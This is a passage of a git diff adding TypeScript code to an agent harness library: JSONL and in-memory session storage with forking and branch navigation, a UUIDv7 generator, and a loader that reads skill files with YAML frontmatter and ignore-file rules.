parsed.cwd, + parentSession: parsed.parentSession, + }; +} + +function parseEntryLine(line: string, filePath: string, lineNumber: number): SessionTreeEntry { + let parsed: unknown; + try { + parsed = JSON.parse(line); + } catch (error) { + throw invalidEntry(filePath, lineNumber, "is not valid JSON", toError(error)); + } + if (!isRecord(parsed)) { + throw invalidEntry(filePath, lineNumber, "is not a valid session entry"); + } + if (typeof parsed.type !== "string") { + throw invalidEntry(filePath, lineNumber, "is missing entry type"); + } + if (typeof parsed.id !== "string" || !parsed.id) { + throw invalidEntry(filePath, lineNumber, "is missing entry id"); + } + if (parsed.parentId !== null && typeof parsed.parentId !== "string") { + throw invalidEntry(filePath, lineNumber, "has invalid parentId"); + } + if (typeof parsed.timestamp !== "string" || !parsed.timestamp) { + throw invalidEntry(filePath, lineNumber, "is missing timestamp"); + } + if (parsed.type === "leaf" && parsed.targetId !== null && typeof parsed.targetId !== "string") { + throw invalidEntry(filePath, lineNumber, "has invalid targetId"); + } + return parsed as unknown as SessionTreeEntry; +} + +function leafIdAfterEntry(entry: SessionTreeEntry): string | null { + return entry.type === "leaf" ? entry.targetId : entry.id; +} + +function headerToSessionMetadata(header: SessionHeader, path: string): JsonlSessionMetadata { + return { + id: header.id, + createdAt: header.timestamp, + cwd: header.cwd, + path, + parentSessionPath: header.parentSession, + }; +} + +export async function loadJsonlSessionMetadata( + fs: JsonlSessionStorageFileSystem, + filePath: string, +): Promise { + const lines = getFileSystemResultOrThrow( + await fs.readTextLines(filePath, { maxLines: 1 }), + `Failed to read session header ${filePath}`, + ); + const line = lines[0]; + if (line?.trim()) { + return headerToSessionMetadata(parseHeaderLine(line, filePath), filePath); + } + throw invalidSession(filePath, "missing session header"); +} + +async function loadJsonlStorage( + fs: JsonlSessionStorageFileSystem, + filePath: string, +): Promise<{ + header: SessionHeader; + entries: SessionTreeEntry[]; + leafId: string | null; +}> { + const content = getFileSystemResultOrThrow( + await fs.readTextFile(filePath), + `Failed to read session ${filePath}`, + ); + const lines = content.split("\n").filter((line) => line.trim()); + if (lines.length === 0) { + throw invalidSession(filePath, "missing session header"); + } + + const header = parseHeaderLine(lines[0], filePath); + const entries: SessionTreeEntry[] = []; + let leafId: string | null = null; + for (let i = 1; i < lines.length; i++) { + const entry = parseEntryLine(lines[i], filePath, i + 1); + entries.push(entry); + leafId = leafIdAfterEntry(entry); + } + return { header, entries, leafId }; +} + +export class JsonlSessionStorage implements SessionStorage { + private readonly fs: JsonlSessionStorageFileSystem; + private readonly filePath: string; + private readonly metadata: JsonlSessionMetadata; + private entries: SessionTreeEntry[]; + private byId: Map; + private labelsById: Map; + private currentLeafId: string | null; + + private constructor( + fs: JsonlSessionStorageFileSystem, + filePath: string, + header: SessionHeader, + entries: SessionTreeEntry[], + leafId: string | null, + ) { + this.fs = fs; + this.filePath = filePath; + this.metadata = headerToSessionMetadata(header, this.filePath); + this.entries = entries; + this.byId = new Map(entries.map((entry) => [entry.id, entry])); + this.labelsById = buildLabelsById(entries); + this.currentLeafId = leafId; + } + + static async open( + fs: JsonlSessionStorageFileSystem, + filePath: string, + ): Promise { + const loaded = await loadJsonlStorage(fs, filePath); + return new JsonlSessionStorage(fs, filePath, loaded.header, loaded.entries, loaded.leafId); + } + + static async create( + fs: JsonlSessionStorageFileSystem, + filePath: string, + options: { + cwd: string; + sessionId: string; + parentSessionPath?: string; + }, + ): Promise { + const header: SessionHeader = { + type: "session", + version: 3, + id: options.sessionId, + timestamp: new Date().toISOString(), + cwd: options.cwd, + parentSession: options.parentSessionPath, + }; + getFileSystemResultOrThrow( + await fs.writeFile(filePath, `${JSON.stringify(header)}\n`), + `Failed to create session ${filePath}`, + ); + return new JsonlSessionStorage(fs, filePath, header, [], null); + } + + async getMetadata(): Promise { + return this.metadata; + } + + async getLeafId(): Promise { + if (this.currentLeafId !== null && !this.byId.has(this.currentLeafId)) { + throw new SessionError("invalid_session", `Entry ${this.currentLeafId} not found`); + } + return this.currentLeafId; + } + + async setLeafId(leafId: string | null): Promise { + if (leafId !== null && !this.byId.has(leafId)) { + throw new SessionError("not_found", `Entry ${leafId} not found`); + } + const entry: LeafEntry = { + type: "leaf", + id: generateEntryId(this.byId), + parentId: this.currentLeafId, + timestamp: new Date().toISOString(), + targetId: leafId, + }; + getFileSystemResultOrThrow( + await this.fs.appendFile(this.filePath, `${JSON.stringify(entry)}\n`), + `Failed to append session leaf ${entry.id}`, + ); + this.entries.push(entry); + this.byId.set(entry.id, entry); + this.currentLeafId = leafId; + } + + async createEntryId(): Promise { + return generateEntryId(this.byId); + } + + async appendEntry(entry: SessionTreeEntry): Promise { + getFileSystemResultOrThrow( + await this.fs.appendFile(this.filePath, `${JSON.stringify(entry)}\n`), + `Failed to append session entry ${entry.id}`, + ); + this.entries.push(entry); + this.byId.set(entry.id, entry); + updateLabelCache(this.labelsById, entry); + this.currentLeafId = leafIdAfterEntry(entry); + } + + async getEntry(id: string): Promise { + return this.byId.get(id); + } + + async findEntries( + type: TType, + ): Promise>> { + return this.entries.filter( + (entry): entry is Extract => entry.type === type, + ); + } + + async getLabel(id: string): Promise { + return this.labelsById.get(id); + } + + async getPathToRoot(leafId: string | null): Promise { + if (leafId === null) { + return []; + } + const path: SessionTreeEntry[] = []; + let current = this.byId.get(leafId); + if (!current) { + throw new SessionError("not_found", `Entry ${leafId} not found`); + } + while (current) { + path.unshift(current); + if (!current.parentId) { + break; + } + const parent = this.byId.get(current.parentId); + if (!parent) { + throw new SessionError("invalid_session", `Entry ${current.parentId} not found`); + } + current = parent; + } + return path; + } + + async getEntries(): Promise { + return [...this.entries]; + } +} diff --git a/packages/agent-core/src/harness/session/memory-repo.ts b/packages/agent-core/src/harness/session/memory-repo.ts new file mode 100644 index 00000000000..6bc7daefbce --- /dev/null +++ b/packages/agent-core/src/harness/session/memory-repo.ts @@ -0,0 +1,50 @@ +import { type Session, SessionError, type SessionMetadata, type SessionRepo } from "../types.js"; +import { InMemorySessionStorage } from "./memory-storage.js"; +import { createSessionId, createTimestamp, getEntriesToFork, toSession } from "./repo-utils.js"; + +export class InMemorySessionRepo implements SessionRepo { + private sessions = new Map(); + + async create(options: { id?: string } = {}): Promise { + const metadata: SessionMetadata = { + id: options.id ?? createSessionId(), + createdAt: createTimestamp(), + }; + const storage = new InMemorySessionStorage({ metadata }); + const session = toSession(storage); + this.sessions.set(metadata.id, session); + return session; + } + + async open(metadata: SessionMetadata): Promise { + const session = this.sessions.get(metadata.id); + if (!session) { + throw new SessionError("not_found", `Session not found: ${metadata.id}`); + } + return session; + } + + async list(): Promise { + return Promise.all([...this.sessions.values()].map((session) => session.getMetadata())); + } + + async delete(metadata: SessionMetadata): Promise { + this.sessions.delete(metadata.id); + } + + async fork( + sourceMetadata: SessionMetadata, + options: { entryId?: string; position?: "before" | "at"; id?: string }, + ): Promise { + const source = await this.open(sourceMetadata); + const forkedEntries = await getEntriesToFork(source.getStorage(), options); + const metadata: SessionMetadata = { + id: options.id ?? createSessionId(), + createdAt: createTimestamp(), + }; + const storage = new InMemorySessionStorage({ metadata, entries: forkedEntries }); + const session = toSession(storage); + this.sessions.set(metadata.id, session); + return session; + } +} diff --git a/packages/agent-core/src/harness/session/memory-storage.ts b/packages/agent-core/src/harness/session/memory-storage.ts new file mode 100644 index 00000000000..ab197c0a350 --- /dev/null +++ b/packages/agent-core/src/harness/session/memory-storage.ts @@ -0,0 +1,148 @@ +import { + type LeafEntry, + SessionError, + type SessionMetadata, + type SessionStorage, + type SessionTreeEntry, +} from "../types.js"; +import { uuidv7 } from "./uuid.js"; + +function updateLabelCache(labelsById: Map, entry: SessionTreeEntry): void { + if (entry.type !== "label") { + return; + } + const label = entry.label?.trim(); + if (label) { + labelsById.set(entry.targetId, label); + } else { + labelsById.delete(entry.targetId); + } +} + +function buildLabelsById(entries: SessionTreeEntry[]): Map { + const labelsById = new Map(); + for (const entry of entries) { + updateLabelCache(labelsById, entry); + } + return labelsById; +} + +function generateEntryId(byId: { has(id: string): boolean }): string { + for (let i = 0; i < 100; i++) { + const id = uuidv7().slice(0, 8); + if (!byId.has(id)) { + return id; + } + } + return uuidv7(); +} + +function leafIdAfterEntry(entry: SessionTreeEntry): string | null { + return entry.type === "leaf" ? entry.targetId : entry.id; +} + +export class InMemorySessionStorage< + TMetadata extends SessionMetadata = SessionMetadata, +> implements SessionStorage { + private readonly metadata: TMetadata; + private entries: SessionTreeEntry[]; + private byId: Map; + private labelsById: Map; + private leafId: string | null; + + constructor(options?: { entries?: SessionTreeEntry[]; metadata?: TMetadata }) { + this.entries = options?.entries ? [...options.entries] : []; + this.byId = new Map(this.entries.map((entry) => [entry.id, entry])); + this.labelsById = buildLabelsById(this.entries); + this.leafId = null; + for (const entry of this.entries) { + this.leafId = leafIdAfterEntry(entry); + } + if (this.leafId !== null && !this.byId.has(this.leafId)) { + throw new SessionError("invalid_session", `Entry ${this.leafId} not found`); + } + this.metadata = + options?.metadata ?? ({ id: uuidv7(), createdAt: new Date().toISOString() } as TMetadata); + } + + async getMetadata(): Promise { + return this.metadata; + } + + async getLeafId(): Promise { + if (this.leafId !== null && !this.byId.has(this.leafId)) { + throw new SessionError("invalid_session", `Entry ${this.leafId} not found`); + } + return this.leafId; + } + + async setLeafId(leafId: string | null): Promise { + if (leafId !== null && !this.byId.has(leafId)) { + throw new SessionError("not_found", `Entry ${leafId} not found`); + } + const entry: LeafEntry = { + type: "leaf", + id: generateEntryId(this.byId), + parentId: this.leafId, + timestamp: new Date().toISOString(), + targetId: leafId, + }; + this.entries.push(entry); + this.byId.set(entry.id, entry); + this.leafId = leafId; + } + + async createEntryId(): Promise { + return generateEntryId(this.byId); + } + + async appendEntry(entry: SessionTreeEntry): Promise { + this.entries.push(entry); + this.byId.set(entry.id, entry); + updateLabelCache(this.labelsById, entry); + this.leafId = leafIdAfterEntry(entry); + } + + async getEntry(id: string): Promise { + return this.byId.get(id); + } + + async findEntries( + type: TType, + ): Promise>> { + return this.entries.filter( + (entry): entry is Extract => entry.type === type, + ); + } + + async getLabel(id: string): Promise { + return this.labelsById.get(id); + } + + async getPathToRoot(leafId: string | null): Promise { + if (leafId === null) { + return []; + } + const path: SessionTreeEntry[] = []; + let current = this.byId.get(leafId); + if (!current) { + throw new SessionError("not_found", `Entry ${leafId} not found`); + } + while (current) { + path.unshift(current); + if (!current.parentId) { + break; + } + const parent = this.byId.get(current.parentId); + if (!parent) { + throw new SessionError("invalid_session", `Entry ${current.parentId} not found`); + } + current = parent; + } + return path; + } + + async getEntries(): Promise { + return [...this.entries]; + } +} diff --git a/packages/agent-core/src/harness/session/repo-utils.ts b/packages/agent-core/src/harness/session/repo-utils.ts new file mode 100644 index 00000000000..35f8162316d --- /dev/null +++ b/packages/agent-core/src/harness/session/repo-utils.ts @@ -0,0 +1,61 @@ +import { + type FileError, + type Result, + SessionError, + type SessionMetadata, + type SessionStorage, + type SessionTreeEntry, +} from "../types.js"; +import { Session } from "./session.js"; +import { uuidv7 } from "./uuid.js"; + +export function createSessionId(): string { + return uuidv7(); +} + +export function createTimestamp(): string { + return new Date().toISOString(); +} + +export function toSession( + storage: SessionStorage, +): Session { + return new Session(storage); +} + +export function getFileSystemResultOrThrow( + result: Result, + message: string, +): TValue { + if (!result.ok) { + const code = result.error.code === "not_found" ? "not_found" : "storage"; + throw new SessionError(code, `${message}: ${result.error.message}`, result.error); + } + return result.value; +} + +export async function getEntriesToFork( + storage: SessionStorage, + options: { entryId?: string; position?: "before" | "at" }, +): Promise { + if (!options.entryId) { + return storage.getEntries(); + } + const target = await storage.getEntry(options.entryId); + if (!target) { + throw new SessionError("invalid_fork_target", `Entry ${options.entryId} not found`); + } + let effectiveLeafId: string | null; + if ((options.position ?? "before") === "at") { + effectiveLeafId = target.id; + } else { + if (target.type !== "message" || target.message.role !== "user") { + throw new SessionError( + "invalid_fork_target", + `Entry ${options.entryId} is not a user message`, + ); + } + effectiveLeafId = target.parentId; + } + return storage.getPathToRoot(effectiveLeafId); +} diff --git a/packages/agent-core/src/harness/session/session.ts b/packages/agent-core/src/harness/session/session.ts new file mode 100644 index 00000000000..6b7c2e505a2 --- /dev/null +++ b/packages/agent-core/src/harness/session/session.ts @@ -0,0 +1,270 @@ +import type { ImageContent, TextContent } from "../../llm.js"; +import type { AgentMessage } from "../../types.js"; +import { + createBranchSummaryMessage, + createCompactionSummaryMessage, + createCustomMessage, +} from "../messages.js"; +import type { + BranchSummaryEntry, + CompactionEntry, + CustomEntry, + CustomMessageEntry, + LabelEntry, + MessageEntry, + ModelChangeEntry, + SessionContext, + SessionInfoEntry, + SessionMetadata, + SessionStorage, + SessionTreeEntry, + ThinkingLevelChangeEntry, +} from "../types.js"; +import { SessionError } from "../types.js"; + +export function buildSessionContext(pathEntries: SessionTreeEntry[]): SessionContext { + let thinkingLevel = "off"; + let model: { provider: string; modelId: string } | null = null; + let compaction: CompactionEntry | null = null; + + for (const entry of pathEntries) { + if (entry.type === "thinking_level_change") { + thinkingLevel = entry.thinkingLevel; + } else if (entry.type === "model_change") { + model = { provider: entry.provider, modelId: entry.modelId }; + } else if (entry.type === "message" && entry.message.role === "assistant") { + model = { provider: entry.message.provider, modelId: entry.message.model }; + } else if (entry.type === "compaction") { + compaction = entry; + } + } + + const messages: AgentMessage[] = []; + const appendMessage = (entry: SessionTreeEntry) => { + if (entry.type === "message") { + messages.push(entry.message); + } else if (entry.type === "custom_message") { + messages.push( + createCustomMessage( + entry.customType, + entry.content, + entry.display, + entry.details, + entry.timestamp, + ), + ); + } else if (entry.type === "branch_summary" && entry.summary) { + messages.push(createBranchSummaryMessage(entry.summary, entry.fromId, entry.timestamp)); + } + }; + + if (compaction) { + messages.push( + createCompactionSummaryMessage( + compaction.summary, + compaction.tokensBefore, + compaction.timestamp, + ), + ); + const compactionIdx = pathEntries.findIndex( + (e) => e.type === "compaction" && e.id === compaction.id, + ); + let foundFirstKept = false; + for (let i = 0; i < compactionIdx; i++) { + const entry = pathEntries[i]; + if (entry.id === compaction.firstKeptEntryId) { + foundFirstKept = true; + } + if (foundFirstKept) { + appendMessage(entry); + } + } + for (let i = compactionIdx + 1; i < pathEntries.length; i++) { + appendMessage(pathEntries[i]); + } + } else { + for (const entry of pathEntries) { + appendMessage(entry); + } + } + + return { messages, thinkingLevel, model }; +} + +export class Session { + private storage: SessionStorage; + + constructor(storage: SessionStorage) { + this.storage = storage; + } + + getMetadata(): Promise { + return this.storage.getMetadata(); + } + + getStorage(): SessionStorage { + return this.storage; + } + + getLeafId(): Promise { + return this.storage.getLeafId(); + } + + getEntry(id: string): Promise { + return this.storage.getEntry(id); + } + + getEntries(): Promise { + return this.storage.getEntries(); + } + + async getBranch(fromId?: string): Promise { + const leafId = fromId ?? (await this.storage.getLeafId()); + return this.storage.getPathToRoot(leafId); + } + + async buildContext(): Promise { + return buildSessionContext(await this.getBranch()); + } + + getLabel(id: string): Promise { + return this.storage.getLabel(id); + } + + async getSessionName(): Promise { + const entries = await this.storage.findEntries("session_info"); + return entries[entries.length - 1]?.name?.trim() || undefined; + } + + private async appendTypedEntry(entry: SessionTreeEntry): Promise { + await this.storage.appendEntry(entry); + return entry.id; + } + + async appendMessage(message: AgentMessage): Promise { + return this.appendTypedEntry({ + type: "message", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + message, + } satisfies MessageEntry); + } + + async appendThinkingLevelChange(thinkingLevel: string): Promise { + return this.appendTypedEntry({ + type: "thinking_level_change", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + thinkingLevel, + } satisfies ThinkingLevelChangeEntry); + } + + async appendModelChange(provider: string, modelId: string): Promise { + return this.appendTypedEntry({ + type: "model_change", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + provider, + modelId, + } satisfies ModelChangeEntry); + } + + async appendCompaction( + summary: string, + firstKeptEntryId: string, + tokensBefore: number, + details?: unknown, + fromHook?: boolean, + ): Promise { + return this.appendTypedEntry({ + type: "compaction", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + summary, + firstKeptEntryId, + tokensBefore, + details, + fromHook, + } satisfies CompactionEntry); + } + + async appendCustomEntry(customType: string, data?: unknown): Promise { + return this.appendTypedEntry({ + type: "custom", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + customType, + data, + } satisfies CustomEntry); + } + + async appendCustomMessageEntry( + customType: string, + content: string | (TextContent | ImageContent)[], + display: boolean, + details?: unknown, + ): Promise { + return this.appendTypedEntry({ + type: "custom_message", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + customType, + content, + display, + details, + } satisfies CustomMessageEntry); + } + + async appendLabel(targetId: string, label: string | undefined): Promise { + if (!(await this.storage.getEntry(targetId))) { + throw new SessionError("not_found", `Entry ${targetId} not found`); + } + return this.appendTypedEntry({ + type: "label", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + targetId, + label, + } satisfies LabelEntry); + } + + async appendSessionName(name: string): Promise { + return this.appendTypedEntry({ + type: "session_info", + id: await this.storage.createEntryId(), + parentId: await this.storage.getLeafId(), + timestamp: new Date().toISOString(), + name: name.trim(), + } satisfies SessionInfoEntry); + } + + async moveTo( + entryId: string | null, + summary?: { summary: string; details?: unknown; fromHook?: boolean }, + ): Promise { + if (entryId !== null && !(await this.storage.getEntry(entryId))) { + throw new SessionError("not_found", `Entry ${entryId} not found`); + } + await this.storage.setLeafId(entryId); + if (!summary) { + return undefined; + } + return this.appendTypedEntry({ + type: "branch_summary", + id: await this.storage.createEntryId(), + parentId: entryId, + timestamp: new Date().toISOString(), + fromId: entryId ?? "root", + summary: summary.summary, + details: summary.details, + fromHook: summary.fromHook, + } satisfies BranchSummaryEntry); + } +} diff --git a/packages/agent-core/src/harness/session/uuid.ts b/packages/agent-core/src/harness/session/uuid.ts new file mode 100644 index 00000000000..02b9a303cc1 --- /dev/null +++ b/packages/agent-core/src/harness/session/uuid.ts @@ -0,0 +1,54 @@ +let lastTimestamp = -Infinity; +let sequence = 0; + +function fillRandomBytes(bytes: Uint8Array): void { + const crypto = globalThis.crypto; + if (crypto?.getRandomValues) { + crypto.getRandomValues(bytes as Uint8Array); + return; + } + for (let i = 0; i < bytes.length; i++) { + bytes[i] = Math.floor(Math.random() * 256); + } +} + +export function uuidv7(): string { + const random = new Uint8Array(16); + fillRandomBytes(random); + const timestamp = Date.now(); + + if (timestamp > lastTimestamp) { + sequence = random[6] * 0x1000000 + random[7] * 0x10000 + random[8] * 0x100 + random[9]; + lastTimestamp = timestamp; + } else { + sequence = (sequence + 1) >>> 0; + if (sequence === 0) { + lastTimestamp++; + } + } + + const bytes = new Uint8Array(16); + bytes[0] = (lastTimestamp / 0x10000000000) & 0xff; + bytes[1] = (lastTimestamp / 0x100000000) & 0xff; + bytes[2] = (lastTimestamp / 0x1000000) & 0xff; + bytes[3] = (lastTimestamp / 0x10000) & 0xff; + bytes[4] = (lastTimestamp / 0x100) & 0xff; + bytes[5] = lastTimestamp & 0xff; + bytes[6] = 0x70 | ((sequence >>> 28) & 0x0f); + bytes[7] = (sequence >>> 20) & 0xff; + bytes[8] = 0x80 | ((sequence >>> 14) & 0x3f); + bytes[9] = (sequence >>> 6) & 0xff; + bytes[10] = ((sequence & 0x3f) << 2) | (random[10] & 0x03); + bytes[11] = random[11]; + bytes[12] = random[12]; + bytes[13] = random[13]; + bytes[14] = random[14]; + bytes[15] = random[15]; + + return formatUuid(bytes); +} + +function formatUuid(bytes: Uint8Array): string { + const hex = Array.from(bytes, (byte) => byte.toString(16).padStart(2, "0")); + return `${hex.slice(0, 4).join("")}-${hex.slice(4, 6).join("")}-${hex.slice(6, 8).join("")}-${hex.slice(8, 10).join("")}-${hex.slice(10, 16).join("")}`; +} diff --git a/packages/agent-core/src/harness/skills.ts b/packages/agent-core/src/harness/skills.ts new file mode 100644 index 00000000000..cb7f9819e57 --- /dev/null +++ b/packages/agent-core/src/harness/skills.ts @@ -0,0 +1,463 @@ +import ignore from "ignore"; +import { parse } from "yaml"; +import { type ExecutionEnv, type FileInfo, type Result, type Skill, toError } from "./types.js"; + +const MAX_NAME_LENGTH = 64; +const MAX_DESCRIPTION_LENGTH = 1024; +const IGNORE_FILE_NAMES = [".gitignore", ".ignore", ".fdignore"]; + +type IgnoreMatcher = ReturnType; + +export type SkillDiagnosticCode = + | "file_info_failed" + | "list_failed" + | "read_failed" + | "parse_failed" + | "invalid_metadata"; + +/** Warning produced while loading skills. */ +export interface SkillDiagnostic { + /** Diagnostic severity. Currently only warnings are emitted. */ + type: "warning"; + /** Stable diagnostic code. */ + code: SkillDiagnosticCode; + /** Human-readable diagnostic message. */ + message: string; + /** Path associated with the diagnostic. */ + path: string; +} + +interface SkillFrontmatter { + name?: string; + description?: string; + "disable-model-invocation"?: boolean; + [key: string]: unknown; +} + +/** Format a skill invocation prompt, optionally appending additional user instructions. */ +export function formatSkillInvocation(skill: Skill, additionalInstructions?: string): string { + const skillBlock = `\nReferences are relative to ${dirnameEnvPath(skill.filePath)}.\n\n${skill.content}\n`; + return additionalInstructions ? `${skillBlock}\n\n${additionalInstructions}` : skillBlock; +} + +/** + * Load skills from one or more directories. + * + * Traverses directories recursively, loads `SKILL.md` files, loads direct root `.md` files as skills, honors ignore files, + * and returns diagnostics for invalid skill files. Missing input directories are skipped. + */ +export async function loadSkills( + env: ExecutionEnv, + dirs: string | string[], +): Promise<{ skills: Skill[]; diagnostics: SkillDiagnostic[] }> { + const skills: Skill[] = []; + const diagnostics: SkillDiagnostic[] = []; + for (const dir of Array.isArray(dirs) ? dirs : [dirs]) { + const rootInfoResult = await env.fileInfo(dir); + if (!rootInfoResult.ok) { + if (rootInfoResult.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: rootInfoResult.error.message, + path: dir, + }); + } + continue; + } + const rootInfo = rootInfoResult.value; + if ((await resolveKind(env, rootInfo, diagnostics)) !== "directory") { + continue; + } + const result = await loadSkillsFromDirInternal( + env, + rootInfo.path, + true, + ignore(), + rootInfo.path, + ); + skills.push(...result.skills); + diagnostics.push(...result.diagnostics); + } + return { skills, diagnostics }; +} + +/** + * Load skills from source-tagged directories. + * + * Source values are preserved exactly and attached to every loaded skill and diagnostic. The agent package does not + * interpret source values; applications define their own provenance shape. + */ +export async function loadSourcedSkills( + env: ExecutionEnv, + inputs: Array<{ path: string; source: TSource }>, + mapSkill?: (skill: Skill, source: TSource) => TSkill, +): Promise<{ + skills: Array<{ skill: TSkill; source: TSource }>; + diagnostics: Array; +}> { + const skills: Array<{ skill: TSkill; source: TSource }> = []; + const diagnostics: Array = []; + for (const input of inputs) { + const result = await loadSkills(env, input.path); + for (const skill of result.skills) { + skills.push({ + skill: mapSkill ? mapSkill(skill, input.source) : (skill as TSkill), + source: input.source, + }); + } + for (const diagnostic of result.diagnostics) { + diagnostics.push({ ...diagnostic, source: input.source }); + } + } + return { skills, diagnostics }; +} + +async function loadSkillsFromDirInternal( + env: ExecutionEnv, + dir: string, + includeRootFiles: boolean, + ignoreMatcher: IgnoreMatcher, + rootDir: string, +): Promise<{ skills: Skill[]; diagnostics: SkillDiagnostic[] }> { + const skills: Skill[] = []; + const diagnostics: SkillDiagnostic[] = []; + + const dirInfoResult = await env.fileInfo(dir); + if (!dirInfoResult.ok) { + if (dirInfoResult.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: dirInfoResult.error.message, + path: dir, + }); + } + return { skills, diagnostics }; + } + const dirInfo = dirInfoResult.value; + if ((await resolveKind(env, dirInfo, diagnostics)) !== "directory") { + return { skills, diagnostics }; + } + + await addIgnoreRules(env, ignoreMatcher, dir, rootDir, diagnostics); + + const entriesResult = await env.listDir(dir); + if (!entriesResult.ok) { + diagnostics.push({ + type: "warning", + code: "list_failed", + message: entriesResult.error.message, + path: dir, + }); + return { skills, diagnostics }; + } + const entries = entriesResult.value; + + for (const entry of entries) { + if (entry.name !== "SKILL.md") { + continue; + } + const fullPath = entry.path; + const kind = await resolveKind(env, entry, diagnostics); + if (kind !== "file") { + continue; + } + const relPath = relativeEnvPath(rootDir, fullPath); + if (ignoreMatcher.ignores(relPath)) { + continue; + } + + const result = await loadSkillFromFile(env, fullPath); + if (result.skill) { + skills.push(result.skill); + } + diagnostics.push(...result.diagnostics); + return { skills, diagnostics }; + } + + for (const entry of entries.toSorted((a, b) => a.name.localeCompare(b.name))) { + if (entry.name.startsWith(".") || entry.name === "node_modules") { + continue; + } + const fullPath = entry.path; + const kind = await resolveKind(env, entry, diagnostics); + if (!kind) { + continue; + } + + const relPath = relativeEnvPath(rootDir, fullPath); + const ignorePath = kind === "directory" ? `${relPath}/` : relPath; + if (ignoreMatcher.ignores(ignorePath)) { + continue; + } + + if (kind === "directory") { + const result = await loadSkillsFromDirInternal(env, fullPath, false, ignoreMatcher, rootDir); + skills.push(...result.skills); + diagnostics.push(...result.diagnostics); + continue; + } + + if (kind !== "file" || !includeRootFiles || !entry.name.endsWith(".md")) { + continue; + } + const result = await loadSkillFromFile(env, fullPath); + if (result.skill) { + skills.push(result.skill); + } + diagnostics.push(...result.diagnostics); + } + + return { skills, diagnostics }; +} + +async function addIgnoreRules( + env: ExecutionEnv, + ig: IgnoreMatcher, + dir: string, + rootDir: string, + diagnostics: SkillDiagnostic[], +): Promise { + const relativeDir = relativeEnvPath(rootDir, dir); + const prefix = relativeDir ? `${relativeDir}/` : ""; + + for (const filename of IGNORE_FILE_NAMES) { + const ignorePath = joinEnvPath(dir, filename); + const info = await env.fileInfo(ignorePath); + if (!info.ok) { + if (info.error.code !== "not_found") { + diagnostics.push({ + type: "warning", + code: "file_info_failed", + message: info.error.message, + path: ignorePath, + }); + } + continue; + } + if (info.value.kind !== "file") { + continue; + } + const content = await env.readTextFile(ignorePath); + if (!content.ok) { + diagnostics.push({ + type: "warning", + code: "read_failed", + message: content.error.message, + path: ignorePath, + }); + continue; + } + const patterns = content.value + .split(/\r?\n/) + .map((line) => prefixIgnorePattern(line, prefix)) + .filter((line): line is string => Boolean(line)); + if (patterns.length > 0) { + ig.add(patterns); + } + } +} + +function prefixIgnorePattern(line: string, prefix: string): string | null { + const trimmed = line.trim(); + if (!trimmed) { + return null; + } + if (trimmed.startsWith("#") && !trimmed.startsWith("\\#")) { + return null; + } + + let pattern = line; + let negated = false; + if (pattern.startsWith("!")) { + negated = true; + pattern = pattern.slice(1); + } else if (pattern.startsWith("\\!")) { + pattern = pattern.slice(1); + } + if (pattern.startsWith("/")) { + pattern = pattern.slice(1); + } + const prefixed = prefix ? `${prefix}${pattern}` : pattern; + return negated ? `!${prefixed}` : prefixed; +} + +async function loadSkillFromFile( + env: ExecutionEnv, + filePath: string, +): Promise<{ skill: Skill | null; diagnostics: SkillDiagnostic[] }> { + const diagnostics: SkillDiagnostic[] = []; + const rawContent = await env.readTextFile(filePath); + if (!rawContent.ok) { + diagnostics.push({ + type: "warning", + code: "read_failed", + message: rawContent.error.message, + path: filePath, + }); + return { skill: null, diagnostics }; + } + + const parsed = parseFrontmatter(rawContent.value) as Result< + { frontmatter: SkillFrontmatter; body: string }, + Error + >; + if (!parsed.ok) { + diagnostics.push({ + type: "warning", + code: "parse_failed", + message: parsed.error.message, + path: filePath, + }); + return { skill: null, diagnostics }; + } + + const { frontmatter, body } = parsed.value; + const skillDir = dirnameEnvPath(filePath); + const parentDirName = basenameEnvPath(skillDir); + const description = + typeof frontmatter.description === "string" ? frontmatter.description : undefined; + + for (const error of validateDescription(description)) { + diagnostics.push({ type: "warning", code: "invalid_metadata", message: error, path: filePath }); + } + + const frontmatterName = typeof frontmatter.name === "string" ? frontmatter.name : undefined; + const name = frontmatterName || parentDirName; + for (const error of validateName(name, parentDirName)) { + diagnostics.push({ type: "warning", code: "invalid_metadata", message: error, path: filePath }); + } + + if (!description || description.trim() === "") { + return { skill: null, diagnostics }; + } + + return { + skill: { + name, + description, + content: body, + filePath, + disableModelInvocation: frontmatter["disable-model-invocation"] === true, + }, + diagnostics, + }; +} + +function validateName(name: string, parentDirName: string): string[] { + const errors: string[] = []; + if (name !== parentDirName) { + errors.push(`name "${name}" does not match parent directory "${parentDirName}"`); + } + if (name.length > MAX_NAME_LENGTH) { + errors.push(`name exceeds ${MAX_NAME_LENGTH} characters (${name.length})`); + } + if (!/^[a-z0-9-]+$/.test(name)) { + errors.push("name contains invalid characters (must be lowercase a-z, 0-9, hyphens only)"); + } + if (name.startsWith("-") || name.endsWith("-")) { + errors.push("name must not start or end with a hyphen"); + } + if (name.includes("--")) { + errors.push("name must not contain consecutive hyphens"); + } + return errors; +} + +function validateDescription(description: string | undefined): string[] { + const errors: string[] = []; + if (!description || description.trim() === "") { + errors.push("description is required"); + } else if (description.length > MAX_DESCRIPTION_LENGTH) { + errors.push(`description exceeds ${MAX_DESCRIPTION_LENGTH} characters (${description.length})`); + } + return errors; +} + +function parseFrontmatter( + content: string, +): Result<{ frontmatter: Record; body: string }, Error> { + try { + const normalized = content.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); + if (!normalized.startsWith("---")) { + return { ok: true, value: { frontmatter: {}, body: normalized } }; + } + const endIndex = normalized.indexOf("\n---", 3); + if (endIndex === -1) { + return { ok: true, value: { frontmatter: {}, body: normalized } }; + } + const yamlString = normalized.slice(4, endIndex); + const body = normalized.slice(endIndex + 4).trim(); + return { + ok: true, + value: { frontmatter: (parse(yamlString) ?? {}) as Record, body }, + }; + } catch (error) { + return { ok: false, error: toError(error) }; + } +} + +async function 